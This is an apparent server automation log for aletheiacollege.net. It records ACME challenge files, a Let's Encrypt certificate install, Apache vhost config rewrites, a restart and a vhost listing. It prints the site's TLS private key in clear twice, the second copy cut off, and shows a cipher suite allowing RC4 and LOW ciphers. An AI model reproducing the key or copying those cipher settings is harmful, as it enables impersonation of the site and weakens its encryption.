cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cat > 2V2ajmln48pHisb7QfMV69lYnV4Ugt95jLcURSa7Q8g <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2V2ajmln48pHisb7QfMV69lYnV4Ugt95jLcURSa7Q8g.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2V2ajmln48pHisb7QfMV69lYnV4Ugt95jLcURSa7Q8g
cat > 2YSPr8pJ4-788afKuY5AU89JiF1zCjPWR2I2Nil_1MY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2YSPr8pJ4-788afKuY5AU89JiF1zCjPWR2I2Nil_1MY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2YSPr8pJ4-788afKuY5AU89JiF1zCjPWR2I2Nil_1MY


2025-10-21 06:00:40: 

chmod 755 /tmp/pkp950714; /tmp/pkp950714; rm /tmp/pkp950714

2025-10-21 06:00:40: 




2025-10-21 06:00:48: Establishing a connection
2025-10-21 06:00:48: 

PUT: /tmp/pkp657626

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
rm 2V2ajmln48pHisb7QfMV69lYnV4Ugt95jLcURSa7Q8g
rm 2YSPr8pJ4-788afKuY5AU89JiF1zCjPWR2I2Nil_1MY


2025-10-21 06:00:48: 

chmod 755 /tmp/pkp657626; /tmp/pkp657626; rm /tmp/pkp657626

2025-10-21 06:00:48: 




2025-10-21 06:00:48: Establishing a connection
2025-10-21 06:00:48: 

PUT: /tmp/pkp555662

#!/bin/bash
temp_file=$(mktemp)
TARGET=5eb375246e856b10900412efba9b1585.crt

cat > $temp_file <<'endmsg'
d9:6c:d2:cc:38:a4:f0:55:18:37:7c:d4:84:32:1f:4f

-----BEGIN CERTIFICATE-----
MIIFGzCCBAOgAwIBAgISBufpyEkbI+BGjTgkC04Do1GxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIxMDUwMjE3WhcNMjYwMTE5MDUwMjE2WjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA5Y5QmdzHNef7cF/QbC/4oZ60GPkr7E+S8T8Yzwbfwp82EcfnEonzTuZN
5cKnhFqvsISlNqtVno1w3W/t6/mnbII3vzpT9G/rbeYqz5Q2Ra1yN1gZXww2DEwB
BYOdc90DjaI0ahJxras+5gRPJVNPrumOxR7T7LtFARXTgLs74i6NHAAXb9s+tK9a
ed0dBXk7pC/UEp619WCIsYL+1XF3xNF7uG1itc4110q9pbR3gX/5ZZMHWk+LXnqy
7b+3oH4ztCPvPmmO+g2PIUCI6DrgNIzYGfc2Bb7PdGOs1c/YQrZHGI8RPQ5LPA8U
ETWc7NeouufCTaEI+TlpdRmaxbq5OQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQAd3HO+1JkUmUguh0bQ68S0U3XODAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2FsZXRoZWlhY29sbGVn
ZS5uZXSCF3d3dy5hbGV0aGVpYWNvbGxlZ2UubmV0MBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTAu
Y3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08o
B9QeNSer6v7VA8l9zfAAAAGaBVsYjAAABAMARzBFAiEAzq0Accyqy4ko0L4Kp7/i
1VdSKWqVqt8qL+h1vPb0LNQCIAUzrf66vd74pa8ruLtQgeAZmEodUavglDK+KR/B
VBcmAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGaBVsYygAA
BAMARzBFAiEA3qYW8kEMF23vNaeFaHBb26NJbUK/WmQMQNKzNsQrLLwCIAl5hQ9B
s/y+QuTCnQlT19Bt+feCTFa3YxMTxudT0XHmMA0GCSqGSIb3DQEBCwUAA4IBAQCF
s1jnQv1ZbuXW4h6Yz14HIERccvE57wKFmJFAArJjDwOQjbGKOi2s2V330klKRX7D
GsUQA/ef7lC9cxfIYrVvCLeebCY4u01BFK4GVD1/Xe2sN7RfbwraLliem02t0+tw
t6geNcolpqXA1yvdSeS5tgofHCFodFv6pQVhD8LEfNNDFB01Y/1HQIcprXvspQl6
Tycxa+qk98U8ddkm2XSPaLeFyhis9QVryhyiwS9bIvtWbDfvskLbJxb+YMyKnDKy
3XbNMJkKeGIAI9/fdC/iJfMSzkLmEpnT/Eo2ViBhJsueiUbA+nIy2CXBnwqAGFGY
utZG8X75AMX5plPnd91v
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDljlCZ3Mc15/tw
X9BsL/ihnrQY+SvsT5LxPxjPBt/CnzYRx+cSifNO5k3lwqeEWq+whKU2q1WejXDd
b+3r+adsgje/OlP0b+tt5irPlDZFrXI3WBlfDDYMTAEFg51z3QONojRqEnGtqz7m
BE8lU0+u6Y7FHtPsu0UBFdOAuzviLo0cABdv2z60r1p53R0FeTukL9QSnrX1YIix
gv7VcXfE0Xu4bWK1zjXXSr2ltHeBf/llkwdaT4teerLtv7egfjO0I+8+aY76DY8h
QIjoOuA0jNgZ9zYFvs90Y6zVz9hCtkcYjxE9Dks8DxQRNZzs16i658JNoQj5OWl1
GZrFurk5AgMBAAECggEBAOKGrcMnuu3XHqil5Gbeb9wNYGvEdzOa0sZ+HV0uy2Ci
/BhPzBbfStpxKi2xCN3zH6xxORfZu4Paz6W07nQOyMirN5fdVzu/tfOdTmHJQEVC
A5PZvC+vPSalWdy3JIlRcFAz4MVLriJS+p7BYdjTfa59jAW5hif2JQINJ8nA+jcX
Gnb9yMEWWIbHIw6PG7/YJxr3vt51MQmkF2k2o5yTWna3Z+tJnQ4JgrHcd14H7uFZ
a27hIc3Puan8vqr7tF4P80lvifn74u+Wy58SZmm4rq7G0zNEiJQ8757ci7Fwyj3Z
X91uoTpaTcBzzYkULgI1My/8bm4ULlGv907JrTgzXoECgYEA8srYkMNNL8S3PSPy
3mV42bgvAa4p8f5tU7AzMNuEqnlKDsli4VmKWScHZ7MZyHrlSOD1kXryOgCFvMiW
mV8IkX2/EtvfNPcqBmdKSSTH1Qf2Awl/oqfKv8JGsm0izurP31RVTgIBxBmZitA6
NJUR2wWawQi7fajRzajR8QQ/O5sCgYEA8gsi94qcZbe6pAbNEdnwA7r8ihpGV8sJ
4Hat3p7ik788D/KEtXRu3RY8VRUwGme6LgPeYEeLZWfgBtXCxXwXMiK/u6qXqgVy
b9ACpBn381SojumctNYkLj1m6WE3YI+e2IoG2Lqfj0MiQjRO6xq0feK2p2skAbou
UXKX/NgG/bsCgYB8je2eDmNJrzxl5ExTJXFjGCcdUJD6MZE6jrkkRml/3ytL/Kp6
eyoLZIda/rmqbMm1opq4YH9lnCD/4VPJKMTHhuAAN8YBcQ8hK9ojPfg6ZJQjqLrO
4g+UYoFMRcrGphWwN55vn33ycUOgwAQsN5FqcCyc/PLam0HOpN3XLFuYIwKBgQCn
hImo5agkxipIx+Q6TKnPCyUpt9GjhYTKc5kWkMSkGSDKsMCkjXcFURRklot6WvwC
SO8pl5qkjmYAlQV+hMnRCzfD/OeG5sozFLYfOVHgeWFHt+ubRPI5hompUH1xOTVp
DO58JX21O3OEeot8MDlnPvfHm2GKSH8yI6uJdUIxbQKBgQCErELNFqOVsqsFuw0S
U2jttkyKmSNyOhhTqVALpdgUFbPRGiLBXPJRfMKQv5OPMQs9I4qkTDJI6HybYTAS
TbhCAzhHcal+P+idaSLF0hkYnUQG/9aW1+cpXNCtO2ODcuoWEH9whqS0SXvdpsFq
V6Ef5eI02ston7YdlHFXX0g6rw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-21 06:00:48: 

chmod 755 /tmp/pkp555662; /tmp/pkp555662; rm /tmp/pkp555662

2025-10-21 06:00:48: 


dir=/etc/ssl/certs


2025-10-21 06:00:48: 

PUT: /tmp/pkp122920

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/aletheiacollege_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-21 06:00:48: 

chmod 755 /tmp/pkp122920; /tmp/pkp122920; rm /tmp/pkp122920

2025-10-21 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf 47

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-21 06:00:48: 

PUT: /tmp/pkp595097

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=aletheiacollege_www_net.conf
TARGET=/etc/apache2/sites-enabled/aletheiacollege_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/aletheiacollege_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/aletheiacollege_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf= 1'
fi


2025-10-21 06:00:48: 

chmod 755 /tmp/pkp595097; /tmp/pkp595097; rm /tmp/pkp595097

2025-10-21 06:00:48: 




2025-10-21 06:00:48: 

PUT: /tmp/pkp589990

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-21 06:00:48: 

chmod 755 /tmp/pkp589990; /tmp/pkp589990; rm /tmp/pkp589990

2025-10-21 06:00:48: 


.


2025-10-21 06:00:48: Establishing a connection
2025-10-21 06:00:49: 

PUT: /tmp/pkp442139

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-21 06:00:49: 

chmod 755 /tmp/pkp442139; /tmp/pkp442139; rm /tmp/pkp442139

2025-10-21 06:00:49: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-21 06:00:49: 

PUT: /tmp/pkp562770

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/aletheiacollege_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-21 06:00:49: 

chmod 755 /tmp/pkp562770; /tmp/pkp562770; rm /tmp/pkp562770

2025-10-21 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf	1448

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-21 06:00:49: 

PUT: /tmp/pkp323309

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-21 06:00:49: 

chmod 755 /tmp/pkp323309; /tmp/pkp323309; rm /tmp/pkp323309

2025-10-21 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt	5394
d9:6c:d2:cc:38:a4:f0:55:18:37:7c:d4:84:32:1f:4f

-----BEGIN CERTIFICATE-----
MIIFGzCCBAOgAwIBAgISBufpyEkbI+BGjTgkC04Do1GxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIxMDUwMjE3WhcNMjYwMTE5MDUwMjE2WjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA5Y5QmdzHNef7cF/QbC/4oZ60GPkr7E+S8T8Yzwbfwp82EcfnEonzTuZN
5cKnhFqvsISlNqtVno1w3W/t6/mnbII3vzpT9G/rbeYqz5Q2Ra1yN1gZXww2DEwB
BYOdc90DjaI0ahJxras+5gRPJVNPrumOxR7T7LtFARXTgLs74i6NHAAXb9s+tK9a
ed0dBXk7pC/UEp619WCIsYL+1XF3xNF7uG1itc4110q9pbR3gX/5ZZMHWk+LXnqy
7b+3oH4ztCPvPmmO+g2PIUCI6DrgNIzYGfc2Bb7PdGOs1c/YQrZHGI8RPQ5LPA8U
ETWc7NeouufCTaEI+TlpdRmaxbq5OQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQAd3HO+1JkUmUguh0bQ68S0U3XODAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2FsZXRoZWlhY29sbGVn
ZS5uZXSCF3d3dy5hbGV0aGVpYWNvbGxlZ2UubmV0MBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTAu
Y3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08o
B9QeNSer6v7VA8l9zfAAAAGaBVsYjAAABAMARzBFAiEAzq0Accyqy4ko0L4Kp7/i
1VdSKWqVqt8qL+h1vPb0LNQCIAUzrf66vd74pa8ruLtQgeAZmEodUavglDK+KR/B
VBcmAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGaBVsYygAA
BAMARzBFAiEA3qYW8kEMF23vNaeFaHBb26NJbUK/WmQMQNKzNsQrLLwCIAl5hQ9B
s/y+QuTCnQlT19Bt+feCTFa3YxMTxudT0XHmMA0GCSqGSIb3DQEBCwUAA4IBAQCF
s1jnQv1ZbuXW4h6Yz14HIERccvE57wKFmJFAArJjDwOQjbGKOi2s2V330klKRX7D
GsUQA/ef7lC9cxfIYrVvCLeebCY4u01BFK4GVD1/Xe2sN7RfbwraLliem02t0+tw
t6geNcolpqXA1yvdSeS5tgofHCFodFv6pQVhD8LEfNNDFB01Y/1HQIcprXvspQl6
Tycxa+qk98U8ddkm2XSPaLeFyhis9QVryhyiwS9bIvtWbDfvskLbJxb+YMyKnDKy
3XbNMJkKeGIAI9/fdC/iJfMSzkLmEpnT/Eo2ViBhJsueiUbA+nIy2CXBnwqAGFGY
utZG8X75AMX5plPnd91v
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDljlCZ3Mc15/tw
X9BsL/ihnrQY+SvsT5LxPxjPBt/CnzYRx+cSifNO5k3lwqeEWq+whKU2q1WejXDd
b+3r+adsgje/OlP0b+tt5irPlDZFrXI3WBlfDDYMTAEFg51z3QONojRqEnGtqz7m
BE8lU0+u6Y7FHtPsu0UBFdOAuzviLo0cABdv2z60r1p53R0FeTukL9QSnrX1YIix
gv7VcXfE0Xu4bWK1zjXXSr2ltHeBf/llkwdaT4teerLtv7egfjO0I+8+aY76DY8h
QIjoOuA0jNgZ9zYFvs90Y6zVz9hCtkcYjxE9Dks8DxQRNZzs16i658JNoQj5OWl1
GZrFurk5AgMBAAECggEBAOKGrcMnuu3XHqil5Gbeb9wNYGvEdzOa0sZ+HV0uy2Ci
